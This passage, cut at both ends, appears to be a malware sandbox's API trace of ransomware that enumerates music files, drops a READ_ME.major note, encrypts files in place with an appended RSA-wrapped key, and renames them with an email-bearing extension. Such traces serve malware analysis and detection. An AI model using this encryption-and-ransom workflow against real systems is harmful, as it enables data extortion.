lpOverlapped=0x0) returned 1 [0156.270] CloseHandle (hObject=0x6d4) returned 1 [0156.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.270] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\AJQ0r-A 5.wav" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ajq0r-a 5.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\SIFlnPdoC-GGQ\\AJQ0r-A 5.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\siflnpdoc-ggq\\ajq0r-a 5.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.272] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9f8 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0156.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0156.272] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5752240, ftCreationTime.dwHighDateTime=0x1d4d05a, ftLastAccessTime.dwLowDateTime=0x46ebc160, ftLastAccessTime.dwHighDateTime=0x1d4cd8f, ftLastWriteTime.dwLowDateTime=0x17a73892, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631280 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be268 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631300 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631300 | out: hHeap=0x570000) returned 1 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40438 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.273] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5752240, ftCreationTime.dwHighDateTime=0x1d4d05a, ftLastAccessTime.dwLowDateTime=0x46ebc160, ftLastAccessTime.dwHighDateTime=0x1d4cd8f, ftLastWriteTime.dwLowDateTime=0x17a73892, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0156.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0156.273] GetLastError () returned 0x0 [0156.273] SetLastError (dwErrCode=0x0) [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.273] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631300 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631300 | out: hHeap=0x570000) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.274] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2f6aa0, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x59509fc0, ftLastAccessTime.dwHighDateTime=0x1d4cd2f, ftLastWriteTime.dwLowDateTime=0x59509fc0, ftLastWriteTime.dwHighDateTime=0x1d4cd2f, nFileSizeHigh=0x0, nFileSizeLow=0x16256, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="-cDq5_.m4a", cAlternateFileName="")) returned 1 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0156.274] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82d708f0, ftCreationTime.dwHighDateTime=0x1d4cc69, ftLastAccessTime.dwLowDateTime=0xd0135ed0, ftLastAccessTime.dwHighDateTime=0x1d4d4b0, ftLastWriteTime.dwLowDateTime=0xd0135ed0, ftLastWriteTime.dwHighDateTime=0x1d4d4b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="8hmA-v_b", cAlternateFileName="")) returned 1 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.274] GetLastError () returned 0x0 [0156.274] SetLastError (dwErrCode=0x0) [0156.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0156.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be8f0 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be790 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0156.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.275] GetLastError () returned 0x0 [0156.275] SetLastError (dwErrCode=0x0) [0156.275] GetLastError () returned 0x0 [0156.275] SetLastError (dwErrCode=0x0) [0156.275] GetLastError () returned 0x0 [0156.275] SetLastError (dwErrCode=0x0) [0156.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.275] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\8hmA-v_b\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\8hma-v_b\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.275] WriteFile (in: hFile=0x6d8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.276] CloseHandle (hObject=0x6d8) returned 1 [0156.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0156.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0156.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0156.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be790 | out: hHeap=0x570000) returned 1 [0156.276] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdd08e0, ftCreationTime.dwHighDateTime=0x1d4c8eb, ftLastAccessTime.dwLowDateTime=0xc25da4d0, ftLastAccessTime.dwHighDateTime=0x1d4c984, ftLastWriteTime.dwLowDateTime=0xc25da4d0, ftLastWriteTime.dwHighDateTime=0x1d4c984, nFileSizeHigh=0x0, nFileSizeLow=0x4b4d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iCmkNHSvSOJY_0-nfbFS.m4a", cAlternateFileName="ICMKNH~1.M4A")) returned 1 [0156.276] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0156.277] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42abadb0, ftCreationTime.dwHighDateTime=0x1d4cd42, ftLastAccessTime.dwLowDateTime=0xe5774a70, ftLastAccessTime.dwHighDateTime=0x1d4c9de, ftLastWriteTime.dwLowDateTime=0xe5774a70, ftLastWriteTime.dwHighDateTime=0x1d4c9de, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nEGElsDHscivQ4hTM.mp3", cAlternateFileName="NEGELS~1.MP3")) returned 1 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.277] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6f7f700, ftCreationTime.dwHighDateTime=0x1d4d3a2, ftLastAccessTime.dwLowDateTime=0x78ae7640, ftLastAccessTime.dwHighDateTime=0x1d4d2b5, ftLastWriteTime.dwLowDateTime=0x78ae7640, ftLastWriteTime.dwHighDateTime=0x1d4d2b5, nFileSizeHigh=0x0, nFileSizeLow=0x7a5d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="P_DuKHawbVaBIgA0yO_.wav", cAlternateFileName="P_DUKH~1.WAV")) returned 1 [0156.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] GetLastError () returned 0x0 [0156.277] SetLastError (dwErrCode=0x0) [0156.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0156.278] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a73892, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17a73892, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a73892, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.278] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf51848b0, ftCreationTime.dwHighDateTime=0x1d4d5c5, ftLastAccessTime.dwLowDateTime=0xfc3fc370, ftLastAccessTime.dwHighDateTime=0x1d4cf44, ftLastWriteTime.dwLowDateTime=0xfc3fc370, ftLastWriteTime.dwHighDateTime=0x1d4cf44, nFileSizeHigh=0x0, nFileSizeLow=0x9748, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sm C75.m4a", cAlternateFileName="SMC75~1.M4A")) returned 1 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.278] GetLastError () returned 0x0 [0156.278] SetLastError (dwErrCode=0x0) [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0156.278] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6411f0, ftCreationTime.dwHighDateTime=0x1d4c96e, ftLastAccessTime.dwLowDateTime=0x47b65330, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x47b65330, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0x5ced, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TEd5f 7tCv2Rnpo.mp3", cAlternateFileName="TED5F7~1.MP3")) returned 1 [0156.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.279] GetLastError () returned 0x0 [0156.279] SetLastError (dwErrCode=0x0) [0156.279] GetLastError () returned 0x0 [0156.279] SetLastError (dwErrCode=0x0) [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.279] GetLastError () returned 0x0 [0156.279] SetLastError (dwErrCode=0x0) [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.279] FindNextFileW (in: hFindFile=0x631280, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6411f0, ftCreationTime.dwHighDateTime=0x1d4c96e, ftLastAccessTime.dwLowDateTime=0x47b65330, ftLastAccessTime.dwHighDateTime=0x1d4ce25, ftLastWriteTime.dwLowDateTime=0x47b65330, ftLastWriteTime.dwHighDateTime=0x1d4ce25, nFileSizeHigh=0x0, nFileSizeLow=0x5ced, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="TEd5f 7tCv2Rnpo.mp3", cAlternateFileName="TED5F7~1.MP3")) returned 0 [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.279] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.279] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\TEd5f 7tCv2Rnpo.mp3", dwFileAttributes=0x80) returned 1 [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0156.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.279] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\TEd5f 7tCv2Rnpo.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\ted5f 7tcv2rnpo.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.279] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23789) returned 1 [0156.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5ced) returned 0x6538b0 [0156.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5ced) returned 0x6595a8 [0156.280] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x5ced, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5ced, lpOverlapped=0x0) returned 1 [0156.280] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-23789, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.280] WriteFile (in: hFile=0x6d8, lpBuffer=0x6595a8*, nNumberOfBytesToWrite=0x5ced, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6595a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5ced, lpOverlapped=0x0) returned 1 [0156.281] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5ced [0156.281] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.281] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.281] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.281] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.281] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pGHXqmS9VnkD1v13z4PQ8TL0eQAy9Vco74U6TJzYkKtGCyg3Kphb+6CpXTrh501Q\nFky7IP9Rw72GSC35IsHutCNCNYjQBdAzj1YTMuTV5KaJpbt1cc6pb2jfkZNiTry3\nIOtDzqUoZ7Mc17Z/zohULyMTf3bKJzd1inTh74k5871aVyHn8pgcoY2iC+mafi+K\nGrbmop0wvICz3mEtHKp6+/KYvMUncIp5/wuKNKRM2chbiW5PR3Sqwh1g1a7zoy+g\nfOxEFZykZeKS9J1sbdgjAeGykLceldN1Loolvn3tr0+qcO16Q9zs4XoImL6TQ1PD\nb0Mmzo1va0m/0frnvc5aCg==\n", pcchString=0x2e3f9a8) returned 1 [0156.281] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.281] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.281] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.281] CloseHandle (hObject=0x6d8) returned 1 [0156.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.282] MoveFileExW 